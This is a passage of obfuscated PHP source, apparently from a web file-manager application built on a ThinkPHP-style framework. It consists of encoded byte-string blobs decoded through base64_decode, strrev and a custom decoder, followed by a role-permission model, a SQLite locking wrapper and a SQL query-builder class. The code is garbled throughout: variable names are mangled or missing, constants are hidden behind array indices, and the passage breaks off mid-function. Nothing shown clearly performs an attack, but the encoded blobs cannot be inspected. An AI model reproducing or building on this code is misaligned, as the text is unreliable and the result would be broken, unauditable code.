4"."\xec\x8c\x85\x21\x86\x55\x22\xb7\x1a\x20\xdd\xc8\xe9\x42\x51\x9d\x4a\x8\x49\x1f\x2b\x4e\x24\xf3\xd\x1c\x8d\xc9\x35\x93\x79\x5b\xca\x46\x31\x47\x6e\xcc\x36\x8b\xdc\x60\x84\x9a\xa2\xf9\x70\xaf"."\x7c\xce\x71\xd6\xc1\xb4\x54\x38\x8c\x4\x7d\xae\x65\x8d\x98\xc5\x14\x9b\xbc\x54\x32\x6b\x96\x52\x8e\x56\x53\x9\x47\x9b\x3c\x95\x29\x38\xdc\x39\xe9\x9\xd2\x51\x3b\xe\x33\x5b\x96\xe6\x0\x50"."\202\314\230\52\107\174\14\304\11\151\66\251\306\334\326\254\101\237\234\354\225\163\215\74\352\105\66\353\163\136\144\124\311\37\200\1\275\54\147\351\103\45\75\57\316\247\255\101".base64_decode('CfD4BmJPtxoPxBZL9nr4hhxDIVVYXEvDEi1IcJRn0AkCdlT0/i0PbD1n3baLbt12').strrev('-zOܶY.|(Eo[')."\326\365\327\157\275\346\224\55\17\74\364\376\303\247\154\277\376\214\55\367\156\330\266\376\264\255\153\357\336\362\300\272\255\247\136\265\365\224\163\266\135\160\326\226\207\326\243\362"."\333\116\25\55\243\142\133\67\134\214\353\76\170\302\326\173\357\175\377\352\353\171\356\247\17\36\17\233\16\320\270\166\335\306\27\13\231\21\26\201\216\262\100\1\204\324\55\237"."\xd2\x9d\xd5\x11\x84\x15\x72\x55\xe\x5b\x6c\xd9\x19\xbd\xa8\xd8\xc4\x72\x4b\x43\x7f\xf3\x66\xde\x4b\x11\x8e\x5e\xda\xb4\x14\x23\x8f\xb3\x15\x36\x37\x3e\x8e\x94\x71\x3d\x57\xc0\xa8\x5\x50\xf2"."\xd3\x1b\x52\xe\xdb\x6d\x9\xff\x2a\x81\x99\x66\x54\x40\x2b\xc\x6b\x31\x57\x35\x38\x8\x7\x6e\x58\x4f\xa8\xa4\x35\x94\x90\x6a\x54\xd2\xa8\x9a\xc2\x6e\x3b\x28\xb6\xc9\xc2\xb9\x31\x3e\xe9\xae"._kodDe('LUE2S2IoasXJZOet1gXBuDSMFWtuRD9Dd0ZVOipUcyquenrWjfV1Y5kGejhyTpIZ4g==')."\xe4\xd0\x58\x71\x5e\xf3\xc3\x56\x1\xec\xa4\x5d\x5e\x63\x72\xf7\x8b\x7a\x21\xab\x25\x79\xd7\xb\x63\x15\x81\x28\xf7\x46\x3e\xb1\x76\xd\x2d\x56\x1\x8c\x7c\x70\x8e\x4c\xb4\xae\x4b\x76\x85\x82"."\x32\xb4\x1d\x27\xb8\x66\x4b\x16\x11\x3a\x71\x6e\x49\xce\xf5\xc5\x30\x68\x54\xa8\xac\xd1\x87\x38\x9d\x2c\xea\x29\x3\x3e\x95\xd3\x73\xa4\x24\x33\xdb\x27\x8a\x72\x6e\xe2\x9c\x44\x4b\xa0\xe8\x38"."\xef\x9a\xbf\xb0\x90\x29\xe0\x3b\xe0\xf6\xbc\x85\x70\x8b\x13\xe\xfc\x54\xe9\xbb\x10\x16\x57\x4c\xe4\xd4\xac\xfb\xc\x8d\x2f\x98\xd6\x66\xe9\x26\x36\x2e\xd6\xe8\xf5\x7a\x25\x7d\xb3\x30\x35\xc3"."\x21\x68\x4e\x9c\xc\xa3\xb4\x20\x5e\xcd\x13\xa5\xb7\x72\x2b\xb\xb4\xcc\xfb\xfb\x75\xcb\x6e\x24\xf7\xad\x94\x69\xa\xea\xe8\x1c\xdf\x74\x14\x20\xb\x62\xa6\x6f\x36\xa\x12\x28\xc1\x22\xee\xcd"."\x4b\x9d\xa2\xc1\x79\x25\x8b\x5d\x92\x28\xe5\xb3\x2c\x15\x5\x51\x91\x68\x29\x8f\xe7\xad\xd1\x39\x12\xc4\xec\x4a\x95\xe6\x69\x49\xbb\x49\x1a\x4d\x1a\x40\xe5\x13\xa3\xd4\xa6\x89\x7c\x3d\x75\x18"."\200\133\32\373\10\24\140\165\73\235\263\211\106\345\345\23\214\46\15\155\374\51\213\330\233\302\76\2\115\132\322\335\322\250\300\15\134\235\0\341\133\252\332\362\104\26\20\163"."\x91\xe7\x86\xa6\x56\x56\x63\x67\x8f\x16\xe2\x38\x8c\xbc\xce\xb1\xaa\x64\xf1\x43\x11\x6c\x94\xad\xa2\x1d\x9a\xed\x65\x8\x3\xd5\x14\xe3\x23\xc3\xa1\x66\xb5\x35\x14\x15\xb\x58\x2d\x94\xdc\xd7"."\241\145\37\4\201\356\220\32\213\105\244\313\321\344\76\333\62\165\161\244\125\155\211\104\26\207\0\271\0\360\215\22\375\303\267\247\304\61\66\216\211\133\124\370\170\106\66\32"."\223\31\14\174\111\34\157\242\61\5\54\56\21\26\267\164\4\242\334\260\175\246\257\316\67\135\224\105\37\124\261\175\177\23\273\336\31\213\7\242\25\134\5\120\27\2\60\51".base64_decode('4DYAKnREliotkXBPZ1eM3pCn6V0RKZ+YL0M2cyRQng3NB7vDgZagEuqKR9j9BG5Q')."\x4a\x6e\xa6\xc4\x78\x9c\x81\xa0\x68\xe9\xdc\x51\x0\xd4\xa7\x11\xf9\xf6\x8c\xdc\x22\x6f\x9\xd0\x78\x85\xa7\xba\xb7\xaa\x77\x6a\x6f\x4d\x6f\xed\x4a\x5f\xaf\xd5\xe7\x97\x76\x24\x43\x9e\x1e\x88"."\x74\xb7\xc2\xf0\x1a\x79\x28\x65\xc1\xb2\xec\x8c\xc5\x8e\x86\x7b\x56\x91\x68\xa0\x25\xcc\xba\xd2\x1c\x88\x41\x30\xd2\x12\xa2\x81\xed\x17\xde\xb6\xe5\xfe\xb3\xb7\x5f\x76\xf3\xd6\xd3\xce\x42\xd".base64_decode('bbv0hG2/uhsxIJjpuPnM7RvP3nbhLdvOBGZBef+We7Y89PD2C6/fevPF29bdt/3S')."\223\150\306\337\156\270\155\353\351\327\363\216\51\177\273\140\343\266\263\257\345\214\10\345\77\74\250\366\337\326\236\265\375\241\233\61\33\362\233\137\156\273\353\214\155\353\317\332"."\172\372\325\133\57\271\176\373\331\267\154\375\365\211\133\117\76\353\375\133\56\72\314\215\110\64\276\202\115\5\230\65\370\217\355\265\246\326\120\360\366\132\323\60\150\153\321\157"."\xd\xbe\xee\x80\x7e\x99\xd5\x36\x31\xec\x3d\xba\x27\xd8\xd5\x12\x74\x5f\x1f\x92\xa3\xe0\x65\x61\x2a\xc5\x10\x6a\xa8\x2\x3c\xa3\x5\x5e\x1a\x58\x5c\x25\xf7\xc1\xaa\x27\xec\xc5\x6a\x98\x7f\xa9"."\x53\x52\x67\x5a\x83\xb1\x96\x68\xa8\x39\x8\x6\xf5\x7c\xa2\xa6\x10\xae\x9\x8c\x1e\x50\x6a\x2c\xba\x84\x87\xf9\x55\xb9\x32\xaf\x18\x4a\xd\x43\xe6\x5a\xc5\x31\x10\xcd\x97\x34\xb3\xa5\x5c\x9e"."\x74\x56\xa9\xc2\x6\x1f\x55\x1e\xbc\xb3\x90\xbb\x4c\x4a\x15\xde\x19\x51\x82\x9e\x44\x4b\xaf\x6\xdf\x49\x27\x16\xb9\xd5\xcb\xab\x3d\x75\x9e\xe9\xb5\xa\xb8\xcc\xa0\x35\xc0\x51\x86\x52\x5\x76".strrev('$ȁEWw,:)i-*_TWS6##㞼')."\136\37\375\72\234\137\44\175\242\6\235\47\124\302\235\246\4\272\132\235\45\251\317\214\356\152\142\44\231\364\121\370\312\323\134\135\253\44\340\232\102\205\114\122\315\1\214\46".base64_decode('BzBqpgGd6G7n803vICj0ihrtlmaxiYJUMlU4lc4WK2uiYaDJoeVRgOdga33eEiJH')."\74\203\315\40\116\347\223\130\41\217\70\63\251\242\234\35\35\147\316\352\147\244\16\334\123\164\56\347\143\140\270\254\60\26\203\273\102\301\227\355\202\361\226\16\212\345\61\11".strrev('&< q:Zř/I$[WPI&G((TD)S').base64_decode('pRpTPppU7QA/+RADWZx8Fa0r1UbMEIVCoR86A7OvkBvGGqnSVE0v8zNfJsxnTyQa')."\127\21\0\200\74\113\124\267\132\332\55\44\263\155\174\127\152\230\361\365\151\304\7\231\314\207\101\52\301\134\373\240\306\161\233\55\221\256\266\20\273\117\327\12\122\163\41\145"."\72\12\265\106\103\370\266\70\174\137\141\115\111\267\30\121\104\230\130\240\110\141\44\305\303\342\332\64\316\340\173\76\212\210\55\37\105\370\146\203\113\111\76\210\360\367\143\135"."\x3c\x2c\x18\x58\x14\xc1\x76\x81\x82\xfa\x2e\x6d\xe5\xe1\xe\x7e\xb\x16\x67\x44\xa2\x52\x24\x10\xd\x74\xc6\x78\x34\xba\x94\x5f\xd3\xe0\x69\xf4\xba\x86\xda\xd5\xd3\x29\x28\x7e\x38\xb0\x4\x21"."\113\104\60\50\214\132\327\370\246\56\254\355\245\127\336\150\220\376\54\142\61\174\15\250\157\325\164\217\62\153\115\55\224\141\227\304\124\73\143\344\31\257\211\277\162\164\130\15"._kodDe('Ks47kF067Nr+NkdEuhxK5Xz/gcu6T1ZTC/4BVbbSeUmXFq73P9G2iIId9e+284IJzA==').base64_decode('vSO9PsQsWCvFFbbWZoWxIS1ERqeiPNQOsG10pQd2DDVr9jNHFIggMnaB/i5jAUIr')."\xa1\x2\x12\x5c\xb\x59\x76\x97\x8d\x5e\xa2\x53\x7b\x57\xf7\x1e\xd9\xeb\xf5\xd1\x7b\x83\x98\x79\xe9\xf5\x88\x2e\xa9\xc1\x65\x68\x8f\x8d\xc5\x1c\x97\x1e\x55\xe2\x9a\x5\x5a\x47\xa3\x84\x10\x5d"."\xb5\x34\x32\x1f\x7e\x40\xa2\x9a\xf\xec\x29\x44\x17\x34\xf1\xc9\xc\x1e\xbd\xba\xb\xfd\x6d\x8f\xaf\xe\xa2\xbf\x61\xf4\x13\x8e\xa3\xe9\x32\x78\x1\xb4\x24\xc3\xa1\xc5\xc1\xd5\xf8\x1f\x91\x51"."\xcb\x1\x49\x6f\xb\x39\x2b\x84\xba\x56\xa3\x7f\x11\x81\x59\x1d\xea\x72\x37\xd6\x1c\x8c\x2f\xd\x6\x69\x1\x16\x86\x5f\x51\x14\x11\x1c\x18\xaa\xe4\x3b\xb\x1b\xf0\x43\xb6\x30\xe8\x87\xa6\x55"."\265\206\0\323\333\67\255\126\125\375\126\17\340\13\367\47\120\123\175\304\364\152\330\103\2\261\26\101\175\35\10\121\216\13\304\334\336\211\10\334\43\24\304\333\243\221\236\156".base64_decode('Kd4RWBLqamcx/1QWmgpNK62hGAJRC0NG4ahKjgPDSdgimet1oHQrouwoIrHsWBig')."\224\331\271\312\232\173\102\341\126\371\236\67\56\10\33\12\241\352\260\247\114\141\235\143\161\162\343\233\105\60\310\131\230\240\33\213\20\30\260\10\5\0\213\21\160\261\10\161".base64_decode('iMUiZKAsgqWTYBfLQzIiku+Y4JfRhvlFxXmphORNANNgH9V+YZcTSIrTuI7SpeAk')."\272\46\111\234\247\346\170\212\164\137\332\117\223\20\267\111\22\321\157\357\312\205\204\33\136\311\20\223\136\312\265\343\206\235\165\174\5\56\357\241\257\204\310\215\111\351\73\354"."\256\3\321\354\251\246\244\135\46\33\265\234\40\164\111\124\25\15\152\133\241\222\301\146\210\104\241\113\243\116\21\212\323\245\225\134\62\2\37\135\36\370\205\36\355\105\177\172"."\x21\xca\x54\x11\x70\x8d\xa5\xda\x3\x9b\x2c\xbb\xf3\xe0\x94\x8e\x7b\x7b\xab\x26\x82\x16\x14\x60\x30\x83\x68\x15\x8d\xb2\x5a\x6\xdf\xf3\x92\x19\xec\x95\x42\xb5\x73\x4c\x95\x4d\x84\x33\xa1\x34"."\246\212\147\21\157\215\106\272\51\7\242\204\332\24\352\372\100\251\246\252\352\152\140\255\132\242\101\274\72\150\51\226\127\123\355\120\62\55\250\126\340\36\164\255\263\126\250\253"."\x35\xb8\x4c\xa9\x36\x52\xa3\xaa\xa6\xa9\x50\x59\x41\x6b\x91\x35\xa4\x94\xb5\xc4\x5a\xa0\x7d\x6d\x80\x48\xc6\x1c\x51\x64\xf4\x62\xf2\x72\xb\x4d\x8b\xb\x94\x2b\x63\xcd\x88\x13\x3\x76\xe7\xd4".base64_decode('A0I5z6EcMc0KxdCGHQ6TkaIsw8KMrEfhvgZwIhY+qPISGmIZtCGaFVwWjwZwIuE+').base64_decode('d5+M/hCCgqWjYk6j9zIJz+ZbCUqClQ4WkTKPmEkEDCJbnjQmnkM0BRTMsh5hMXDd')."\x34\xd6\x1d\xd\x75\x6\xa2\xcb\x1\x64\x42\x6\x80\x15\x68\x66\x1d\xd7\x71\x45\xc4\xb0\x7a\xa4\xb\xe1\x5d\xa8\xd7\xf2\x5\x71\x3a\xc7\x9c\xc2\x22\x79\x96\x51\x58\xd4\x1b\x58\x0\x78\xe6\x81".strrev('Fd$X8J|r+0k11Tf0Z5jQ)~U').strrev('<#A]G3S'."\r".'Ꭶ $) { if ($[$[2029]] == 1) { $¬[$][$[456]] = LNG($[2255]); } } } return $¬; } public function update($, $ޡ) { $ʃ =& $_SERVER[Ȣ]; $Ӷ = parent::listData($); $ = $this->findByName($ޡ[$ʃ[32]]); if (!$Ӷ || $ && $[$ʃ[405]] != $Ӷ[$ʃ[405]]) { return !1; } if ($[$ʃ[2029]] == 1) { $ޡ = array($ʃ[32] => $ޡ[$ʃ[32]], $ʃ[1856] => $ޡ[$ʃ[1856]]); } $this->filterAuth($ޡ[$ʃ[419]]); return parent::update($, $ޡ); } public function remove($颟) { $ = parent::listData($颟); if (!$ || $[$_SERVER[Ȣ][1286]]) { return !1; } return parent::remove($颟); } public function add($) { $ =& $_SERVER[Ȣ]; $꺇 = $[$[32]]; if ($this->findByName($꺇)) { return !1; } $ = array($[426] => $꺇, $[1840] => $[12], $[1836] => $[1844], $[2256] => 1, $[1839] => 0, $[2257] => 0, $[1838] => $this->getSort()); $ = array_merge($, $); $this->filterAuth($[$[419]]); return parent::insert($); } private function getSort() { $Ā =& $_SERVER[Ȣ]; $㥰 = parent::listData(); $ݎ = array_to_keyvalue($㥰, $Ā[12], $Ā[1857]); return empty($ݎ) ? 0 : max($ݎ) + 1; } private function filterAuth(&$ǯ) { $㸃 =& $_SERVER[Ȣ]; $ = array(); $ = array_filter(explode($㸃[50], $ǯ)); foreach ($ as $ǯ) { $ = explode($㸃[10], $ǯ); if ($[0] == $㸃[2258] && $[1] != $㸃[1205]) { $ = $[0] . $㸃[10] . $[1] . $㸃[2259]; if (!in_array($, $)) { $[] = $; } } $[] = $ǯ; } $ǯ = implode($㸃[50], $); } public function sort($ð, $̥) { return parent::update($ð, $̥); } } goto c; A觽: class DbSqlite3 extends DbSqlite3Base { public function query($ަĨ) { $Ʊ =& $_SERVER[Ȣ]; if (!CacheLock::fileLock($Ʊ[13])) { return !1; } $͜ = parent::query($ަĨ); CacheLock::fileUnLock($Ʊ[13]); return $͜; } public function execute($ʙ) { $ˈҧ =& $_SERVER[Ȣ]; if (!CacheLock::fileLock($ˈҧ[13])) { return !1; } $П = parent::execute($ʙ); CacheLock::fileUnLock($ˈҧ[13]); return $П; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\164\150\151\x6e\153\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\x71" => "\75", "\156\x65\x71" => "\74\x3e", "\x67\x74" => "\76", "\x65\x67\x74" => "\76\75", "\x6c\x74" => "\74", "\x65\154\x74" => "\74\75", "\156\157\164\x6c\151\x6b\145" => "\x4e\x4f\x54\x20\114\111\113\x45", "\154\x69\153\x65" => "\x4c\x49\x4b\105", "\151\x6e" => "\x49\116", "\156\157\164\x69\156" => "\116\x4f\124\x20\x49\116", "\156\157\164\x20\151\156" => "\116\x4f\x54\x20\x49\116", "\142\x65\164\167\x65\145\x6e" => "\x42\x45\x54\x57\x45\x45\116", "\156\x6f\x74\142\145\164\x77\x65\145\156" => "\x4e\x4f\124\40\102\105\x54\x57\x45\x45\116", "\156\157\x74\40\142\145\x74\167\x65\x65\156" => "\116\x4f\124\40\102\x45\x54\127\x45\105\x4e"); protected $selectSql = "\x53\105\x4c\x45\x43\x54\x25\104\111\123\x54\111\x4e\x43\124\x25\40\45\106\111\x45\x4c\104\x25\40\106\122\x4f\x4d\40\45\124\x41\x42\114\x45\x25\x25\x4a\117\111\x4e\45\45\127\110\x45\122\x45\45\x25\107\x52\x4f\125\x50\x25\45\110\x41\126\111\116\107\45\45\x4f\x52\x44\x45\122\x25\45\114\111\x4d\111\124\45\x20\45\x55\x4e\111\x4f\116\45\x25\x43\117\x4d\115\105\x4e\124\x25"; protected $bind = array(); public static function getInstance() { $Ŗ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[Ȣ][972], $Ŗ); } public function factory($ݟ = '') { $Ġ =& $_SERVER[Ȣ]; $ݟ = $this->parseConfig($ݟ); if (empty($ݟ[$Ġ[973]])) { think_exception(think_lang($Ġ[974])); } $this->dbType = ucwords(strtolower($ݟ[$Ġ[973]])); $ = $Ġ[975] . $this->dbType; if (class_exists($)) { $ = new $($ݟ); if ($Ġ[976] != strtolower($ݟ[$Ġ[973]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($ݟ[$Ġ[928]]); } } else { think_exception(think_lang($Ġ[977]) . $Ġ[978] . $); } return $; } public function __call($, $ޠ) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $ޠ); } } protected function _getDsnType($) { $ = explode($_SERVER[Ȣ][4], $); $ = strtoupper(trim($[0])); return $; } private function parseConfig($ܦ = '') { $ =& $_SERVER[Ȣ]; if (!empty($ܦ) && is_string($ܦ)) { $ܦ = $this->parseDSN($ܦ); } elseif (is_array($ܦ)) { $ܦ = array_change_key_case($ܦ); $ܦ = array($[973] => $ܦ[$[979]], $[900] => $ܦ[$[980]], $[901] => $ܦ[$[981]], $[898] => $ܦ[$[982]], $[899] => $ܦ[$[983]], $[21] => $ܦ[$[984]], $[928] => $ܦ[$[985]], $[17] => isset($ܦ[$[986]]) ? $ܦ[$[986]] : array()); } elseif (empty($ܦ)) { if (think_config($[987]) && $[976] != strtolower(think_config($[988]))) { $ܦ = $this->parseDSN(think_config($[987])); } else { $ܦ = array($[973] => think_config($[988]), $[900] => think_config($[989]), $[901] => think_config($[990]), $[898] => think_config($[991]), $[899] => think_config($[992]), $[21] => think_config($[254]), $[928] => think_config($[987]), $[17] => think_config($[993])); } } return $ܦ; } protected function initConnect($Ɔ = true) { if (1 == think_config($_SERVER[Ȣ][22])) { $this->_linkID = $this->multiConnect($Ɔ); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $̉ => $ޤ) { $this->_linkID = $ޤ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($Ŵҍ = false) { $۠ =& $_SERVER[Ȣ]; static $ = array(); static $ = -1; if (empty($)) { foreach ($this->config as $ => $) { $[$] = explode($۠[50], $); } } if (think_config($۠[994])) { if ($Ŵҍ || think_config($۠[401]) === !0) { $ = floor(mt_rand(0, think_config($۠[995]) - 1)); $ = $; } else { if (is_numeric(think_config($۠[996]))) { $ = think_config($۠[996]); } else { $ = floor(mt_rand(think_config($۠[995]), count($[$۠[898]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$۠[898]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $Ƕ֡ = array($۠[900] => isset($[$۠[900]][$]) ? $[$۠[900]][$] : $[$۠[900]][0], $۠[901] => isset($[$۠[901]][$]) ? $[$۠[901]][$] : $[$۠[901]][0], $۠[898] => isset($[$۠[898]][$]) ? $[$۠[898]][$] : $[$۠[898]][0], $۠[899] => isset($[$۠[899]][$]) ? $[$۠[899]][$] : $[$۠[899]][0], $۠[21] => isset($[$۠[21]][$]) ? $[$۠[21]][$] : $[$۠[21]][0], $۠[928] => isset($[$۠[928]][$]) ? $[$۠[928]][$] : $[$۠[928]][0], $۠[17] => isset($[$۠[17]][$]) ? $[$۠[17]][$] : $[$۠[17]][0]); return $this->connect($Ƕ֡, $); } public function parseDSN($ǽ) { $ܜߘ =& $_SERVER[Ȣ]; if (empty($ǽ)) { return !1; } $ = parse_url($ǽ); if ($[$ܜߘ[187]]) { $ = array($ܜߘ[973] => $[$ܜߘ[187]], $ܜߘ[900] => isset($[$ܜߘ[602]]) ? $[$ܜߘ[602]] : $ܜߘ[12], $ܜߘ[901] => isset($[$ܜߘ[997]]) ? $[$ܜߘ[997]] : $ܜߘ[12], $ܜߘ[898] => isset($[$ܜߘ[188]]) ? $[$ܜߘ[188]] : $ܜߘ[12], $ܜߘ[899] => isset($[$ܜߘ[189]]) ? $[$ܜߘ[189]] : $ܜߘ[12], $ܜߘ[21] => isset($[$ܜߘ[88]]) ? substr($[$ܜߘ[88]], 1) : $ܜߘ[12]); } else { preg_match($ܜߘ[998], trim($ǽ), $١); $ = array($ܜߘ[973] => $١[1], $ܜߘ[900] => $١[2], $ܜߘ[901] => $١[3], $ܜߘ[898] => $١[4], $ܜߘ[899] => $١[5], $ܜߘ[21] => $١[6]); } $[$ܜߘ[928]] = $ܜߘ[12]; return $; } protected function debug() { $Ш =& $_SERVER[Ȣ]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $Ш[999]; if (think_config($Ш[1000])) { think_status($Ш[1001]); think_trace($this->queryStr . $Ш[1002] . think_status($Ш[24], $Ш[1001], 6) . $Ш[1003], $Ш[12], $Ш[1004]); } } protected function parseLock($ݣ = false) { $Р =& $_SERVER[Ȣ]; if (!$ݣ) { return $Р[12]; } if ($Р[930] == $this->dbType) { return $Р[1005]; } return $Р[1006]; } protected function parseSet($) { $ =& $_SERVER[Ȣ]; foreach ($ as $她 => $ص) { if (is_array($ص) && $[305] == $ص[0]) { $[] = $this->parseKey($她) . $[896] . $ص[1]; } elseif (is_scalar($ص) || is_null($ص)) { $[] = $this->parseKey($她) . $[896] . $this->parseValue($ص); } } return $[1007] . implode($[50], $); } protected function bindParam($, $肭) { $this->bind[$_SERVER[Ȣ][4] . $] = $肭; } protected function parseBind($۞) { $۞ = array_merge($this->bind, $۞); $this->bind = array(); return $۞; } function parseKey(&$ڍ, $¨ = true) { if ($¨) { $ڍ = $this->parseKeyCheck($ڍ); } return $ڍ; } function parseKeyCheck($ɧ) { $ =& $_SERVER[Ȣ]; $ɧ = trim($ɧ); if (!preg_match($[1008], $ɧ)) { think_exception($[1009] . $ɧ); } return $ɧ; } protected function parseValue($ϭ) { $ =& $_SERVER[Ȣ]; if (is_string($ϭ)) { $ϭ = $[969] . $this->escapeString($ϭ) . $[969]; } elseif (isset($ϭ[0]) && is_string($ϭ[0]) && strtolower($ϭ[0]) == $[305]) { $ϭ = $this->escapeString($ϭ[1]); } elseif (is_array($ϭ)) { $ϭ = array_map(array($this, $[970]), $ϭ); } elseif (is_bool($ϭ)) { $ϭ = $ϭ ? $[99] : $[204]; } elseif (is_null($ϭ)) { $ϭ = $[114]; } return $ϭ; } protected function parseField($) { $ =& $_SERVER[Ȣ]; if (is_string($) && strpos($, $[50])) { $ = explode($[50], $); } if (is_array($)) { $̶ = array(); foreach ($ as $Ά => $зڇ) { if (!is_numeric($Ά)) { $̶[] = $this->parseKey($Ά, !1) . $[1010] . $this->parseKey($зڇ); } else { $̶[] = $this->parseKey($зڇ); } } $ð墐 = implode($[50], $̶); } elseif (is_string($) && !empty($)) { $ð墐 = $; } else { $ð墐 = $[195]; } return $ð墐; } protected function parseTable($˗) { $ј =& $_SERVER[Ȣ]; if (is_array($˗)) { $Ԫ = array(); foreach ($˗ as $Ƶ̕ => $ꮙ) { if (!is_numeric($Ƶ̕)) { $Ԫ[] = $this->parseKey($Ƶ̕) . $ј[53] . $this->parseKey($ꮙ); } else { $Ԫ[] = $this->parseKey($Ƶ̕); } } $˗ = $Ԫ; } elseif (is_string($˗)) { if (strstr($˗, $ј[53])) { return $˗; } $˗ = explode($ј[50], $˗); array_walk($˗, array($this, $ј[918])); } return $ј[912] . trim(implode($ј[1011], $˗), $ј[393]) . $ј[912]; } protected function parseWhere($ޱ) { $Ą =& $_SERVER[Ȣ]; $ = $Ą[12]; if (is_string($ޱ)) { $ = $ޱ; } else { $Ƣ = isset($ޱ[$Ą[1012]]) ? strtoupper($ޱ[$Ą[1012]]) : $Ą[12]; if (in_array($Ƣ, array($Ą[1013], $Ą[1014], $Ą[1015]))) { $Ƣ = $Ą[53] . $Ƣ . $Ą[53]; unset($ޱ[$Ą[1012]]); } else { $Ƣ = $Ą[1016]; } foreach ($ޱ as $֤ => $Ż) { $ .= $Ą[285]; if (is_numeric($֤)) { $֤ = $Ą[1017]; } if (0 === strpos($֤, $Ą[11])) { $ .= $this->parseThinkWhere($֤, $Ż); } else { if (!preg_match($Ą[1018], trim($֤))) { think_exception(think_lang($Ą[1019]) . $Ą[4] . $֤); } $ֶ = is_array($Ż) && isset($Ż[$Ą[1020]]); $֤ = trim($֤); if (strpos($֤, $Ą[291])) { $ = explode($Ą[291], $֤); $ӱ = array(); foreach ($ as $ => $) { $ѩ = $ֶ ? $Ż[$] : $Ż; $ӱ[] = $Ą[268] . $this->parseWhereItem($this->parseKey($), $ѩ) . $Ą[917]; } $ .= implode($Ą[1021], $ӱ); } elseif (strpos($֤, $Ą[292])) { $ = explode($Ą[292], $֤); $ӱ = array(); foreach ($ as $ => $) { $ѩ = $ֶ ? $Ż[$] : $Ż; $ӱ[] = $Ą[268] . $this->parseWhereItem($this->parseKey($), $ѩ) . $Ą[917]; } $ .= implode($Ą[1016], $ӱ); } else { $ .= $this->parseWhereItem($this->parseKey($֤), $Ż); } } $ .= $Ą[286] . $Ƣ; } $ = substr($, 0, -strlen($Ƣ)); } return empty($) ? $Ą[12] : $Ą[1022] . $; } protected function parseWhereItem($դ, $֙) { $ =& $_SERVER[Ȣ]; $֔Ԛ = $[12]; if (is_array($֙)) { if (is_string($֙[0])) { $Ю˞ = strtolower($֙[0]); if (in_array($֙[0], array($[896], $[1023], $[1024], $[1025], $[1026], $[1027]))) { $֔Ԛ .= $դ . $[53] . $֙[0] . $[53] . $this->parseValue($֙[1]); } elseif (preg_match($[1028], $֙[0])) { $֔Ԛ .= $դ . $[53] . $this->exp[$Ю˞] . $[53] . $this->parseValue($֙[1]); } elseif (preg_match($[1029], $֙[0])) { if (is_array($֙[1])) { $鹢 = isset($֙[2]) ? strtoupper($֙[2]) : $[1014]; if (in_array($鹢, array($[1013], $[1014], $[1015]))) { $ = array(); foreach ($֙[1] as $) { $[] = $դ . $[53] . $this->exp[$Ю˞] . $[53] . $this->parseValue($); } $֔Ԛ .= $[268] . implode($[53] . $鹢 . $[53], $) . $[917]; } } else { $֔Ԛ .= $դ . $[53] . $this->exp[$Ю˞] . $[53] . $this->parseValue($֙[1]); } } elseif ($[305] == $Ю˞) { $֔Ԛ .= $[915] . $դ . $[53] . $֙[1] . $[1030]; } elseif (preg_match($[1031], $֙[0])) { $֔Ԛ .= $֙[0]; } elseif (preg_match($[1032], $֙[0])) { if (isset($֙[2]) && $[305] == $֙[2]) { $֔Ԛ .= $դ . $[53] . $this->exp[$Ю˞] . $[53] . $֙[1]; } else { if (is_string($֙[1])) { $֙[1] = explode($[50], $֙[1]); } $ = implode($[50], $this->parseValue($֙[1])); $֔Ԛ .= $դ . $[53] . $this->exp[$Ю˞] . $[915] . $ . $[917]; } } elseif (preg_match($[1033], $֙[0])) { $ܾí = is_string($֙[1]) ? explode($[50], $֙[1]) : $֙[1]; $֔Ԛ .= $[915] . $դ . $[53] . $this->exp[$Ю˞] . $[53] . $this->parseValue($ܾí[0]) . $[1016] . $this->parseValue($ܾí[1]) . $[286]; } else { think_exception(think_lang($[1019]) . $[4] . $֙[0]); } } else { $җ = count($֙); $ = $[12]; if (is_string($֙[$җ - 1])) { $ = isset($֙[$җ - 1]) ? strtoupper($֙[$җ - 1]) : $[12]; if (in_array($, array($[1013], $[1014], $[1015]))) { $җ = $җ - 1; } } else { $ = $[1013]; } for ($ = 0; $ < $җ; $++) { $ܾí = is_array($֙[$]) ? $֙[$][1] : $֙[$]; if ($[305] == strtolower($֙[$][0])) { $֔Ԛ .= $[268] . $դ . $[53] . $ܾí . $[1030] . $ . $[53]; } else { $ = is_array($֙[$]) ? $this->exp[strtolower($֙[$][0])] : $[896]; if (!$ && is_array($֙[$]) && in_array($֙[$][0], array($[896], $[1023], $[1024], $[1025], $[1026], $[1027]))) { $ = $֙[$][0]; } $֔Ԛ .= $[268] . $դ . $[53] . $ . $[53] . $this->parseValue($ܾí) . $[1030] . $ . $[53]; } } $֔Ԛ = substr($֔Ԛ, 0, -4); } } else { $֔Ԛ .= $դ . $[1034] . $this->parseValue($֙); } return $֔Ԛ; } protected function parseThinkWhere($, $) { $ =& $_SERVER[Ȣ]; $ = $[12]; switch ($) { case $[360]: $ = $; break; case $[1017]: $ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1035]: parse_str($, $Ʋ˸); if (isset($Ʋ˸[$[1012]])) { $ = $[53] . strtoupper($Ʋ˸[$[1012]]) . $[53]; unset($Ʋ˸[$[1012]]); } else { $ = $[1016]; } $ = array(); foreach ($Ʋ˸ as $ۧ => $Ҡ) { $[] = $this->parseKey($ۧ) . $[1034] . $this->parseValue($Ҡ); } $ = implode($, $); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[Ȣ]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($) { $ =& $_SERVER[Ȣ]; $犯 = $[12]; if 